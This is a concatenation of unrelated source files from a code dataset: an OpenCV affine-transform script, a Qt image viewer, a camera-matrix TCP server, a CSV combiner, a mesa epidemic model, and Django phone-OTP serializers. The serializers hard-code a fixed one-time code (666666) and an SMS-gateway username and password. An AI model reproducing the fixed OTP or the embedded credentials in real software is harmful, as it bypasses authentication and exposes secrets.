положение\n K = 10\n # коэффициент равномерного масштабирования изображения\n M = Mdivisible / (K * Mdivider)\n scale = 1 / M\n print(\"Коэф. равномерного масшт. изображения (M): \" + str(\"{0:.3f}\".format(M)))\n\n center = (w / 2, h / 2)\n\n matrix = cv.getRotationMatrix2D(center, 0, scale)\n normaledIm1 = cv.warpAffine(cIM, matrix, (w, h))\n #translation https://subscription.packtpub.com/book/application-development/9781785283932/1/ch01lvl1sec11/image-translation\n xTran, yTran = centering(normaledIm1)\n translation_matrix = np.float32([[1, 0, xTran], [0, 1, yTran]])\n normaledIm = cv.warpAffine(normaledIm1, translation_matrix, (w, h))\n\n cv.imwrite(\"Result\\\\normaled_\" + name + \".png\", normaledIm)\n\ndef centering(IMage):\n ret, thresh = cv.threshold(IMage, 0, 255, cv.THRESH_TOZERO)\n\n M = cv.moments(thresh)\n xcen, ycen = int(M['m10'] / M['m00']), int(M['m01'] / M['m00'])\n w, h = IMage.shape[::-1]\n yIMcen, xIMcen = w/2, h/2\n\n xFind, yFind = xIMcen - xcen,yIMcen - ycen\n print(\"sizewh\" + str(xFind) + \" \" + str(yFind))\n return xFind, yFind\n\n\nif __name__ == '__main__':\n\n start_time = time.time()\n\n Affine(cv.imread(\"image_1_2.png\", cv.IMREAD_GRAYSCALE), \"image_1\")\n Affine(cv.imread(\"image_2_2.png\", cv.IMREAD_GRAYSCALE), \"image_2\")\n Affine(cv.imread(\"image_3_2.png\", cv.IMREAD_GRAYSCALE), \"image_3\")\n\n print(\"--- Время работы: %s ---\" % (time.time() - start_time))","repo_name":"dying-dwg/Affine-transformation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16678198648","text":"from __future__ import annotations\n\nimport typing\n\nimport numpy as np\nfrom PySide2 import QtWidgets, QtGui, QtCore\n\nfrom qt_extensions.combobox import QComboBox\nfrom qt_extensions.icons import MaterialIcon\nfrom qt_extensions.parameters import FloatParameter\n\n\nclass GraphicsItem(QtWidgets.QGraphicsItem):\n def __init__(self, parent: QtWidgets.QGraphicsItem | None = None) -> None:\n super().__init__(parent)\n self.image = QtGui.QImage()\n\n def paint(\n self,\n painter: QtGui.QPainter,\n option: QtWidgets.QStyleOptionGraphicsItem,\n widget: QtWidgets.QWidget | None = None,\n ) -> None:\n painter.drawImage(option.rect, self.image)\n\n def boundingRect(self) -> QtCore.QRectF:\n rect = QtCore.QRectF(self.image.rect())\n return rect\n\n\nclass GraphicsScene(QtWidgets.QGraphicsScene):\n def __init__(self, parent: QtWidgets.QWidget | None = None) -> None:\n super().__init__(parent)\n\n self._item: GraphicsItem | None = None\n\n # bounding box frame\n rect = QtCore.QRect()\n color = self.palette().color(QtGui.QPalette.Midlight)\n pen = QtGui.QPen(color)\n pen.setStyle(QtCore.Qt.DotLine)\n pen.setWidth(0)\n brush = QtGui.QBrush()\n brush.setStyle(QtCore.Qt.NoBrush)\n\n self._frame = self.addRect(rect, pen, brush)\n self._frame.setZValue(1)\n\n self.set_background_color(QtGui.QColor(0, 0, 0))\n\n def item(self) -> GraphicsItem:\n return self._item\n\n def set_background_color(self, value: QtGui.QColor) -> None:\n self.setBackgroundBrush(QtGui.QBrush(value))\n\n def set_item(self, value: GraphicsItem) -> None:\n if self._item and self._item.parent() == self:\n self.removeItem(self._item)\n self._item = value\n self.addItem(value)\n\n def update_frame(self, resolution: QtCore.QSize) -> None:\n rect = QtCore.QRect(QtCore.QPoint(), resolution)\n self._frame.setRect(rect)\n\n\nclass GraphicsView(QtWidgets.QGraphicsView):\n zoom_changed = QtCore.Signal(float)\n position_changed = QtCore.Signal(QtCore.QPoint)\n pixel_position_changed = QtCore.Signal(QtCore.QPoint)\n pixel_color_changed = QtCore.Signal(QtGui.QColor)\n\n # initialize a 16k scene rect\n scene_rect = QtCore.QRect(-(2**13), -(2**13), 2**14, 2**14)\n\n def __init__(self, parent: QtWidgets.QWidget | None = None) -> None:\n super().__init__(parent)\n\n self._dragging: bool = False\n\n self.setMouseTracking(True)\n self.setFocusPolicy(QtCore.Qt.StrongFocus)\n self.setDragMode(self.ScrollHandDrag)\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.setSceneRect(self.scene_rect)\n self.setFrameShape(QtWidgets.QFrame.NoFrame)\n self.setTransformationAnchor(QtWidgets.QGraphicsView.AnchorUnderMouse)\n self.viewport().setCursor(QtCore.Qt.CrossCursor)\n\n def keyPressEvent(self, event: QtGui.QKeyEvent) -> None:\n if event.key() == QtCore.Qt.Key_F:\n self.fit()\n event.accept()\n return\n super().keyPressEvent(event)\n\n def mousePressEvent(self, event: QtGui.QMouseEvent) -> None:\n if event.button() == QtCore.Qt.MidButton:\n handmade_event = QtGui.QMouseEvent(\n QtCore.QEvent.MouseButtonPress,\n QtCore.QPointF(event.pos()),\n QtCore.Qt.LeftButton,\n event.buttons(),\n QtCore.Qt.KeyboardModifiers(),\n )\n super().mousePressEvent(handmade_event)\n self.viewport().setCursor(QtCore.Qt.CrossCursor)\n\n if event.button() == QtCore.Qt.LeftButton:\n self._dragging = True\n self.mouseMoveEvent(event)\n event.accept()\n return\n\n super().mousePressEvent(event)\n\n def mouseReleaseEvent(self, event: QtGui.QMouseEvent) -> None:\n if event.button() == QtCore.Qt.MidButton:\n release_event = QtGui.QMouseEvent(\n QtCore.QEvent.MouseButtonRelease,\n QtCore.QPointF(event.pos()),\n QtCore.Qt.LeftButton,\n event.buttons(),\n QtCore.Qt.KeyboardModifiers(),\n )\n super().mouseReleaseEvent(release_event)\n self.viewport().setCursor(QtCore.Qt.CrossCursor)\n\n if event.button() == QtCore.Qt.LeftButton:\n self._dragging = False\n event.accept()\n return\n\n super().mouseReleaseEvent(event)\n\n def mouseMoveEvent(self, event: QtGui.QMouseEvent) -> None:\n super().mouseMoveEvent(event)\n\n if self.scene() and self.scene().item():\n cursor_position = self.mapToScene(event.pos())\n bounding_rect = self.scene().item().boundingRect()\n position = QtCore.QPoint(\n np.floor(cursor_position.x()),\n np.floor(bounding_rect.height() - cursor_position.y()),\n )\n if self._dragging:\n self.position_changed.emit(position)\n self.pixel_position_changed.emit(position)\n\n def wheelEvent(self, event: QtGui.QWheelEvent) -> None:\n zoom_in_factor = 1.25\n zoom_out_factor = 1 / zoom_in_factor\n\n # zoom\n if event.angleDelta().y() > 0:\n zoom_factor = zoom_in_factor\n else:\n zoom_factor = zoom_out_factor\n self.scale(zoom_factor, zoom_factor)\n\n self.zoom_changed.emit(self.absolute_scale())\n event.accept()\n\n def absolute_scale(self) -> float:\n # NOTE: since there will never be rotation, and scale in x and y are the same,\n # m11 can be used as scale\n return self.transform().m11()\n\n def fit(self) -> None:\n if self.scene() and self.scene().item():\n self.fitInView(self.scene().item(), QtCore.Qt.KeepAspectRatio)\n self.zoom_changed.emit(self.absolute_scale())\n\n def set_absolute_scale(self, value: float) -> None:\n self.setTransform(QtGui.QTransform.fromScale(value, value))\n\n def zoom(self, factor: float) -> None:\n if factor == 0:\n self.fit()\n else:\n self.set_absolute_scale(factor)\n\n\nclass Footer(QtWidgets.QWidget):\n def __init__(self, parent: QtWidgets.QWidget | None = None) -> None:\n super().__init__(parent)\n\n self._init_ui()\n\n self.set_background_color(QtGui.QColor(0, 0, 0))\n\n def _init_ui(self) -> None:\n self.setLayout(QtWidgets.QHBoxLayout())\n\n self.setAutoFillBackground(True)\n\n self.resolution_lbl = QtWidgets.QLabel('resolution')\n self.layout().addWidget(self.resolution_lbl)\n\n self.layout().addStretch()\n\n self.coordinates_lbl = QtWidgets.QLabel('coordinates')\n self.layout().addWidget(self.coordinates_lbl)\n\n self.rgb_lbl = QtWidgets.QLabel('rgb')\n self.layout().addWidget(self.rgb_lbl)\n\n self.hsv_lbl = QtWidgets.QLabel('hsv')\n self.layout().addWidget(self.hsv_lbl)\n\n def set_background_color(self, value: QtGui.QColor) -> None:\n palette = self.palette()\n palette.setColor(QtGui.QPalette.Window, value)\n palette.setColor(QtGui.QPalette.WindowText, QtGui.QColor(255, 255, 255))\n self.setPalette(palette)\n\n def update_pixel_color(self, color: QtGui.QColor | None) -> None:\n if color.isValid():\n r, g, b, a = color.getRgbF()\n rgb = (\n f'{r:.4f} '\n f'{g:.4f} '\n f'{b:.4f}'\n )\n h, s, v, a = color.getHsvF()\n h = max(h, 0)\n else:\n rgb = ''\n h, s, v = 0, 0, 0\n hsv = f'H: {h:.2f} S: {s:.2f} V: {v:.2f}'\n\n self.rgb_lbl.setText(rgb)\n self.hsv_lbl.setText(hsv)\n\n def update_pixel_position(self, position: QtCore.QPoint | None) -> None:\n if position is not None:\n coordinates = f'x={position.x()} y={position.y()}'\n else:\n coordinates = ''\n self.coordinates_lbl.setText(coordinates)\n\n def update_resolution(self, resolution: QtCore.QSize) -> None:\n text = f'{resolution.width():.0f}x{resolution.height():.0f}'\n self.resolution_lbl.setText(text)\n\n\nclass ToolBar(QtWidgets.QToolBar):\n refreshed: QtCore.Signal = QtCore.Signal()\n paused: QtCore.Signal = QtCore.Signal(bool)\n exposure_changed: QtCore.Signal = QtCore.Signal(float)\n zoom_changed: QtCore.Signal = QtCore.Signal(float)\n\n pause_color = QtGui.QColor(217, 33, 33)\n\n def __init__(self, parent: QtWidgets.QWidget | None = None) -> None:\n super().__init__(parent)\n\n self._zoom = 0\n self._exposure = 0\n self._exposure_cache = 0\n\n self._init_actions()\n\n def _init_actions(self) -> None:\n size = self.style().pixelMetric(QtWidgets.QStyle.PM_SmallIconSize)\n self.setIconSize(QtCore.QSize(size, size))\n\n # exposure toggle\n icon = MaterialIcon('toggle_on')\n icon_off = MaterialIcon('toggle_off')\n palette = self.palette()\n color = palette.color(QtGui.QPalette.Highlight)\n pixmap = icon_off.pixmap(0, QtGui.QIcon.Active, QtGui.QIcon.On, color)\n icon.addPixmap(pixmap, QtGui.QIcon.Active, QtGui.QIcon.On)\n\n self.exposure_toggle_action = QtWidgets.QAction(icon, 'exposure_toggle', self)\n self.exposure_toggle_action.setCheckable(True)\n self.exposure_toggle_action.toggled.connect(self._exposure_toggled)\n self.addAction(self.exposure_toggle_action)\n\n # exposure slider\n self.exposure_slider = FloatParameter(parent=self)\n self.exposure_slider.set_slider_min(-10)\n self.exposure_slider.set_slider_max(10)\n self.exposure_slider.value_changed.connect(self._exposure_changed)\n palette = self.exposure_slider.slider.palette()\n palette.setColor(QtGui.QPalette.Highlight, palette.color(QtGui.QPalette.Base))\n self.exposure_slider.slider.setPalette(palette)\n\n exposure_action = QtWidgets.QWidgetAction(self)\n exposure_action.setText('exposure')\n exposure_action.setDefaultWidget(self.exposure_slider)\n self.addAction(exposure_action)\n\n # refresh\n icon = MaterialIcon('refresh')\n refresh_action = QtWidgets.QAction(icon, 'refresh', self)\n refresh_action.triggered.connect(self.refreshed.emit)\n self.addAction(refresh_action)\n\n # pause\n icon = MaterialIcon('pause')\n color = self.pause_color\n pixmap = icon.pixmap(0, QtGui.QIcon.Active, QtGui.QIcon.On, color)\n icon.addPixmap(pixmap, QtGui.QIcon.Active, QtGui.QIcon.On)\n pause_action = QtWidgets.QAction(icon, 'pause', self)\n pause_action.setCheckable(True)\n pause_action.toggled.connect(self.paused.emit)\n self.addAction(pause_action)\n\n # zoom\n self.zoom_cmb = QComboBox()\n self.zoom_cmb.addItem('fit')\n factors = [0.10, 0.25, 0.33, 0.5, 0.75, 1, 1.5, 2, 3, 4, 5]\n for factor in reversed(factors):\n self.zoom_cmb.addItem(f'{factor:2.0%}', factor)\n self.zoom_cmb.setMaxVisibleItems(self.zoom_cmb.count())\n self.zoom_cmb.currentIndexChanged.connect(self._zoom_index_changed)\n\n # NOTE: currently AdjustToContents doesn't do anything, but this might be because\n # the placeholder text is broken, thus setting setMinimumContentsLength works for\n # ensuring that the full placeholder text is visible.\n self.zoom_cmb.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n self.zoom_cmb.setMinimumContentsLength(6)\n\n zoom_action = QtWidgets.QWidgetAction(self)\n zoom_action.setText('zoom')\n zoom_action.setDefaultWidget(self.zoom_cmb)\n self.addAction(zoom_action)\n\n def exposure(self) -> float:\n return self._exposure\n\n def find_action(self, text: str) -> QtWidgets.QAction | None:\n for action in self.actions():\n if action.text() == text:\n return action\n\n def set_exposure(self, exposure: float) -> None:\n self._exposure = exposure\n self.exposure_slider.set_value(exposure)\n\n def set_zoom(self, zoom: float) -> None:\n self._zoom = zoom\n self.zoom_cmb.setCurrentIndex(-1)\n self.zoom_cmb.setPlaceholderText(f'{zoom:2.1%}')\n\n def zoom(self) -> float:\n return self._zoom\n\n def _exposure_changed(self, value: float) -> None:\n self.exposure_toggle_action.blockSignals(True)\n self.exposure_toggle_action.setChecked(value != 0)\n self.exposure_toggle_action.blockSignals(False)\n\n self._exposure = value\n if value != 0:\n self._exposure_cache = value\n self.exposure_changed.emit(value)\n\n def _exposure_toggled(self) -> None:\n exposure = self._exposure_cache if self.exposure() == 0 else 0\n self.set_exposure(exposure)\n\n def _zoom_index_changed(self, index: int) -> None:\n if self.zoom_cmb.currentText() == 'fit':\n self._zoom = 0\n elif index > 0:\n self._zoom = self.zoom_cmb.currentData()\n else:\n return\n self.zoom_changed.emit(self._zoom)\n\n\nclass Viewer(QtWidgets.QWidget):\n refreshed: QtCore.Signal = QtCore.Signal()\n pause_changed: QtCore.Signal = QtCore.Signal(bool)\n position_changed: QtCore.Signal = QtCore.Signal(QtCore.QPoint)\n\n background_color = QtGui.QColor(0, 0, 0)\n pause_color = QtGui.QColor(217, 33, 33)\n\n def __init__(self, parent: QtWidgets.QWidget | None = None) -> None:\n super().__init__(parent)\n\n self.paused = False\n self._resolution = QtCore.QSize()\n self._exposure: float = 0\n self._array = np.ndarray((0, 0, 3), np.float32)\n\n self.post_processes: list[typing.Callable] = [self._expose_image]\n\n self._init_ui()\n\n def _init_ui(self) -> None:\n self.setLayout(QtWidgets.QVBoxLayout())\n self.layout().setContentsMargins(0, 0, 0, 0)\n self.layout().setSpacing(0)\n\n # toolbar\n self.toolbar = ToolBar()\n self.toolbar.pause_color = self.pause_color\n self.toolbar.refreshed.connect(self.refresh)\n self.toolbar.paused.connect(self.pause)\n self.toolbar.exposure_changed.connect(self._exposure_changed)\n self.layout().addWidget(self.toolbar)\n\n # view\n self.item = GraphicsItem()\n\n self.scene = GraphicsScene()\n self.scene.set_background_color(self.background_color)\n self.scene.set_item(self.item)\n\n self.view = GraphicsView()\n self.view.setScene(self.scene)\n self.view.fit()\n self.view.zoom_changed.connect(self.toolbar.set_zoom)\n self.toolbar.zoom_changed.connect(self.view.zoom)\n self.layout().addWidget(self.view)\n\n # footer\n self.footer = Footer()\n self.footer.set_background_color(self.background_color)\n self.layout().addWidget(self.footer)\n\n # signals\n self.view.pixel_position_changed.connect(self._pixel_position_changed)\n self.view.position_changed.connect(self.position_changed.emit)\n\n def resolution(self) -> QtCore.QSize:\n return self._resolution\n\n def exposure(self) -> float:\n return self._exposure\n\n def color_at(self, position: QtCore.QPoint) -> QtGui.QColor:\n height, width = self._array.shape[:2]\n x = position.x()\n y = height - 1 - position.y()\n if x < 0 or x >= width or y < 0 or y >= height:\n color = QtGui.QColor()\n color.convertTo(QtGui.QColor.Invalid)\n else:\n rgb = self._array[y, x]\n color = QtGui.QColor.fromRgbF(*rgb)\n return color\n\n def pause(self, state=True) -> None:\n self.paused = state\n\n if self.paused:\n self.view.setFrameShape(QtWidgets.QFrame.Box)\n self.view.setStyleSheet(\n f'QFrame {{ border: 1px solid {self.pause_color.name()}; }}'\n )\n self.view.setEnabled(False)\n else:\n self.view.setFrameShape(QtWidgets.QFrame.NoFrame)\n self.view.setStyleSheet('')\n self.view.setEnabled(True)\n\n self.pause_changed.emit(self.paused)\n\n def refresh(self) -> None:\n self.refreshed.emit()\n\n def relative_position(self, position: QtCore.QPoint) -> QtCore.QPointF:\n resolution = self.resolution()\n return QtCore.QPointF(\n (position.x() / resolution.width() - 0.5) * 2,\n (position.y() / resolution.height() - 0.5) * 2,\n )\n\n def set_array(self, array: np.ndarray) -> None:\n array = self._array_as_image(array)\n\n if self.paused:\n return\n\n self._array = array\n height, width = array.shape[:2]\n\n self._update_image()\n\n # trigger fit to view\n self.set_resolution(QtCore.QSize(width, height))\n\n def set_exposure(self, exposure: float) -> None:\n self._exposure = exposure\n self.toolbar.set_exposure(exposure)\n self._exposure_changed(exposure)\n\n def set_resolution(self, resolution: QtCore.QSize) -> None:\n if self._resolution != resolution:\n self._resolution = resolution\n self.footer.update_resolution(resolution)\n self.scene.update_frame(resolution)\n self.view.fit()\n\n def set_state(self, state: dict) -> None:\n values = {'exposure': 0}\n values.update(state)\n self.set_exposure(values['exposure'])\n\n def state(self) -> dict:\n state = {'exposure': self.exposure()}\n return state\n\n # noinspection PyMethodMayBeStatic\n def _array_as_image(self, array: np.ndarray) -> np.ndarray:\n # checks whether the array has either 1, 3 or 4 channels and converts\n # it to a 3 channel array while this is the only supported format\n\n if len(array.shape) == 2:\n array = np.dstack((array, array, array))\n return array\n if len(array.shape) == 3:\n if array.shape[2] > 3:\n array = array[:, :, :3]\n return array\n elif array.shape[2] == 3:\n return array\n elif array.shape[2] == 1:\n array = np.dstack((array[:, :, 0], array[:, :, 0], array[:, :, 0]))\n return array\n raise ValueError('Expected numpy array with either 1, 3 or 4 channels.')\n\n def _expose_image(self, array: np.ndarray) -> None:\n gain = pow(2, self.exposure())\n np.multiply(array, gain, out=array)\n\n def _exposure_changed(self, value: float) -> None:\n if not self.paused:\n self._exposure = value\n self._update_image()\n\n def _pixel_position_changed(self, position: QtCore.QPoint) -> None:\n self.footer.update_pixel_position(position)\n color = self.color_at(position)\n self.footer.update_pixel_color(color)\n\n def _update_image(self):\n height, width, channels = self._array.shape\n if not height or not width:\n return\n\n array = self._array.copy()\n\n for post_process in self.post_processes:\n post_process(array)\n\n np.clip(array, 0, 1, out=array)\n np.multiply(array, 255, out=array)\n array = array.astype(np.uint8)\n\n bytes_per_line = width * channels * array.dtype.itemsize\n image = QtGui.QImage(\n array.data, width, height, bytes_per_line, QtGui.QImage.Format_RGB888\n )\n # QImage is only valid as long as array stays in memory, so it is copied\n self.item.image = image.copy()\n self.item.update()\n","repo_name":"beatreichenbach/qt-extensions","sub_path":"qt_extensions/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":19751,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"70680020107","text":"import socketserver\nimport struct\n\nimport camera\n\nglobal matrix\n#=[1, 0, 0, 0,\n #0, 1, 0, 0,\n #0, 0, 1, 0,\n #0, 0, 0, 1]\n\nclass udStreamCommServer(socketserver.BaseRequestHandler):\n \"\"\"\n The request handler class for our server.\n\n It is instantiated once per connection to the server, and must\n override the handle() method to implement communication to the\n client.\n \"\"\"\n\n def handle(self):\n # self.request is the TCP socket connected to the client\n self.data = self.request.recv(1024).strip()\n #print(\"{} wrote:\".format(self.client_address[0]))\n #print(self.data)\n matrix = sendCamera.matrix.flatten()\n # just send back the same data, but upper-cased\n data = struct.pack('<16d',*matrix)\n #print(f\"Sent {data}\")\n #matrix[14] += 0.001\n self.request.sendall(data)\n #self.request.sendall(self.data.upper())\n\ndef sync_camera(camera: camera.Camera):\n HOST, PORT = \"10.10.0.84\", 447\n global sendCamera\n sendCamera = camera\n # Create the server, binding to localhost on port 9999\n with socketserver.TCPServer((HOST, PORT), udStreamCommServer) as server:\n # Activate the server; this will keep running until you\n # interrupt the program with Ctrl-C\n server.serve_forever()\n","repo_name":"Euclideon/udSDKPython","sub_path":"src/experimental/udConsoleServer.py","file_name":"udConsoleServer.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"41396167397","text":"import sys\nimport os\nimport pandas as pd\n\ndef combine_csv_files(folder_path, output_file):\n # List to store dataframes from each CSV file\n dataframes = []\n\n # Iterate through CSV files in the folder\n for file_name in os.listdir(folder_path):\n if file_name.endswith('.csv'):\n file_path = os.path.join(folder_path, file_name)\n df = pd.read_csv(file_path)\n dataframes.append(df)\n\n # Concatenate all dataframes into a single dataframe\n combined_df = pd.concat(dataframes)\n\n # Group by Read_Length and QV, then sum the Read_Numbers\n grouped_df = combined_df.groupby(['Read_Length', 'QV'], as_index=False)['Read_Numbers'].sum()\n\n # Save the final dataframe to the specified output CSV file\n grouped_df.to_csv(output_file, index=False)\n\n print(\"Combined CSV file saved:\", output_file)\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage: python script_name.py folder_path output_file\")\n sys.exit(1)\n\n folder_path = sys.argv[1]\n output_file = sys.argv[2]\n\n combine_csv_files(folder_path, output_file)\n\n","repo_name":"kango2/ausarg","sub_path":"temp/qv_frequency_concurrent/csv_combine.py","file_name":"csv_combine.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29080516275","text":"import mesa\nimport main\n\nCOLORS = [\"grey\", \"red\", \"pink\", \"green\", \"#c4c03b\", \"#c4423b\"]\nDATACOLLECTOR = \"datacollector\"\n\n\ndef agent_portrayal(agent: main.CovidAgent):\n style = {\n \"Shape\": \"circle\",\n \"xAlign\": 0.5,\n \"yAlign\": 0.5,\n \"Filled\": \"true\",\n \"Layer\": 0,\n \"r\": 1,\n \"id\": agent.id,\n \"health_status\": agent.health_status\n\n }\n if agent.health_status == main.HEALTH_STATUSES[2]:\n style[\"Color\"] = COLORS[1]\n return style\n if agent.health_status == main.HEALTH_STATUSES[1]:\n style[\"Color\"] = COLORS[2]\n return style\n if agent.health_status == main.HEALTH_STATUSES[3]:\n style[\"Color\"] = COLORS[3]\n return style\n style[\"Color\"] = COLORS[0]\n return style\n\n\nmodel_params = {\n \"map_size\": (100, 100),\n \"agent_move_distance\": mesa.visualization.Slider(\n value=2,\n name=\"agents_move_distance\",\n min_value=1,\n max_value=10,\n step=1,\n ),\n \"illness_range\": mesa.visualization.Slider(\n value=2,\n name=\"illness_range\",\n min_value=1,\n max_value=10,\n step=1,\n ),\n \"contracting_probability\": mesa.visualization.Slider(\n value=0.5,\n name=\"contracting_probability\",\n min_value=0.,\n max_value=1.,\n step=0.01,\n ),\n \"incubation_time\": mesa.visualization.Slider(\n value=2,\n name=\"incubation_time\",\n min_value=1,\n max_value=10,\n step=1,\n ),\n \"recovery_time\": mesa.visualization.Slider(\n value=2,\n name=\"recovery_time\",\n min_value=1,\n max_value=10,\n step=1,\n ),\n \"death_probability\": mesa.visualization.Slider(\n value=0.5,\n name=\"death_probability\",\n min_value=0.,\n max_value=1.,\n step=0.01,\n ),\n \"number_of_vaccinated\": mesa.visualization.NumberInput(\n value=0,\n name=\"number_of_vaccinated\",\n ),\n \"agents_count\": mesa.visualization.NumberInput(\n value=100,\n name=\"agents_count\",\n ),\n \"map_torus\": mesa.visualization.Checkbox(\n name=\"map_torus\",\n value=True\n )\n}\n\ngrid = mesa.visualization.CanvasGrid(agent_portrayal, *model_params[\"map_size\"], 1000, 1000)\nchart1 = mesa.visualization.ChartModule(\n [{\n \"Label\": \"population\",\n \"Color\": \"Red\",\n \"label\": \"population\",\n \"borderColor\": \"rgb(75, 192, 0)\"\n }, {\n \"Label\": \"deaths_count\",\n \"Color\": \"Red\",\n \"label\": \"deaths_count\",\n \"borderColor\": \"#000000\"\n }, {\n \"Label\": \"number_of_sick\",\n \"Color\": \"Red\",\n \"label\": \"number_of_sick\",\n \"borderColor\": \"#ff0000\"\n }\n ],\n data_collector_name=DATACOLLECTOR\n)\nchart2 = mesa.visualization.ChartModule(\n [{\n \"Label\": \"average_distance\",\n \"Color\": \"Red\",\n \"label\": \"average_distance\",\n \"borderColor\": \"#0000ff\"\n }],\n data_collector_name=DATACOLLECTOR\n)\nchart3 = mesa.visualization.ChartModule(\n [{\n \"Label\": \"average_number_of_infected_by_ill\",\n \"Color\": \"Red\",\n \"label\": \"average_number_of_infected_by_ill\",\n \"borderColor\": \"#00ff00\"\n }, {\n \"Label\": \"estimated_average_number_of_infected\",\n \"Color\": \"Red\",\n \"label\": \"estimated_average_number_of_infected\",\n \"borderColor\": \"#055000\"\n }],\n data_collector_name=DATACOLLECTOR\n)\nchart4 = mesa.visualization.ChartModule(\n [{\n \"Label\": \"number_of_infected\",\n \"Color\": \"Red\",\n \"label\": \"number_of_infected\",\n \"borderColor\": \"#000ff0\"\n }],\n data_collector_name=DATACOLLECTOR\n)\n\nserver = mesa.visualization.ModularServer(\n main.CovidModel, [grid, chart1, chart2, chart3, chart4], \"Covid Model\", model_params=model_params\n)\n\nserver.port = 8080\nserver.launch(open_browser=False)\n","repo_name":"Dodgo1/virus-model","sub_path":"visualization_web.py","file_name":"visualization_web.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7342642414","text":"import datetime\r\nimport random\r\nimport re\r\n\r\nimport requests\r\nfrom rest_framework import serializers\r\nfrom rest_framework_simplejwt.tokens import RefreshToken\r\n\r\nfrom .models import MyUser\r\n\r\n\r\ndef get_tokens_for_user(user):\r\n refresh = RefreshToken.for_user(user)\r\n\r\n return {\r\n 'refresh': str(refresh),\r\n 'access': str(refresh.access_token),\r\n }\r\n\r\n\r\ndef generateOTP():\r\n return 666666\r\n # return random.randint(111111, 999999)\r\n\r\n\r\ndef isValid(s):\r\n Pattern = re.compile(\"(0|91)?[7-9][0-9]{9}\")\r\n return Pattern.match(s)\r\n\r\n\r\nclass UserSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = MyUser\r\n fields = ['id', 'first_name', 'phone', 'image']\r\n\r\n\r\nclass RegisterSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = MyUser\r\n fields = ['first_name', 'phone']\r\n\r\n def validate(self, attrs):\r\n number = attrs['phone']\r\n data = MyUser.objects.filter(phone=attrs['phone']).first()\r\n\r\n if not isValid(number):\r\n raise serializers.ValidationError({\"phone\": \"Phone number isn't valid\"})\r\n elif data:\r\n raise serializers.ValidationError({'Error': 'User already registered'})\r\n return attrs\r\n\r\n def create(self, validated_data):\r\n\r\n user = MyUser.objects.create(\r\n first_name=validated_data['first_name'],\r\n phone=validated_data['phone'],\r\n )\r\n user.set_password(validated_data['phone'])\r\n user.save()\r\n\r\n return user\r\n\r\n\r\nclass GenerateOptSerializer(serializers.Serializer):\r\n first_name = serializers.CharField(max_length=200)\r\n phone = serializers.CharField(max_length=15)\r\n\r\n def validate(self, attrs):\r\n number = attrs['phone']\r\n\r\n if not isValid(number):\r\n raise serializers.ValidationError({\"phone\": \"Phone number isn't valid\"})\r\n return attrs\r\n\r\n def create(self, validated_data):\r\n otp = generateOTP()\r\n now = datetime.datetime.now()\r\n date = now + datetime.timedelta(0, 180)\r\n user, created = MyUser.objects.get_or_create(phone=validated_data['phone'])\r\n user.otp = str(otp)\r\n user.first_name = validated_data['first_name']\r\n phone = validated_data['phone']\r\n user.otp_expire = date\r\n user.save()\r\n\r\n username = 'monandtex'\r\n password = 'a88^hSE^nM-9'\r\n sms_data = {\r\n \"messages\": [{\"recipient\": f\"{phone}\", \"message-id\": \"abc000000003\",\r\n \"sms\": {\"originator\": \"3700\", \"content\": {\"text\": f\"{otp}\"}}}]}\r\n url = \"http://91.204.239.44/broker-api/send\"\r\n res = requests.post(url=url, headers={}, auth=(username, password), json=sms_data)\r\n return user\r\n\r\n\r\nclass LoginSerializer(serializers.Serializer):\r\n phone = serializers.CharField(max_length=15)\r\n otp = serializers.CharField(max_length=15)\r\n\r\n class Meta:\r\n model = MyUser\r\n fields = ['phone']\r\n\r\n def validate(self, attrs):\r\n data = MyUser.objects.filter(phone=attrs['phone']).first()\r\n if not data:\r\n raise serializers.ValidationError({'Error': 'User not registered'})\r\n return attrs\r\n\r\n\r\nclass UpdatePhoneSerializer(serializers.Serializer):\r\n phone = serializers.CharField(max_length=15)\r\n user_id = serializers.CharField(max_length=50)\r\n\r\n\r\nclass ConfirmUpdatePhoneSerializer(serializers.Serializer):\r\n phone = serializers.CharField(max_length=15)\r\n otp = serializers.CharField(max_length=50)\r\n\r\n # class Meta:\r\n # model = MyUser\r\n # fields = ['phone']\r\n\r\n # def validate(self, attrs):\r\n # data = MyUser.objects.filter(phone=attrs['phone']).first()\r\n # if not data:\r\n # raise serializers.ValidationError({'Error': 'User not registered'})\r\n # return attrs\r\n","repo_name":"ABBA-Corp/monandapi","sub_path":"monand/otp_auth/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24785473976","text":"\"\"\"\nCustom indicators.\n\nThese indicators are meant to supplement the TA-Lib. See:\nhttps://ta-lib.org/function.html\n\"\"\"\n\nimport math\nimport numpy as np\nimport pandas as pd\n\nimport pinkfish.pfstatistics as pfstatistics\n\n\nclass IndicatorError(Exception):\n \"\"\"\n Base indicator exception.\n \"\"\"\n pass\n\n\n########################################################################\n# SMA\n\ndef SMA(ts, timeperiod=30, price='close'):\n \"\"\"\n This indicator computes a simple moving average.\n\n Can be used in place of talib SMA.\n\n ts : pd.DateFrame or pd.Series\n A dataframe with 'open', 'high', 'low', 'close', 'volume' or\n a series of price data.\n timeperiod: int, optional\n The timeperiod for the moving average (default is 30).\n price : str, optional {'close', 'open', 'high', 'low'}\n Input_array column to use for price (default is 'close').\n Not used if `ts` is a series.\n\n Returns\n -------\n 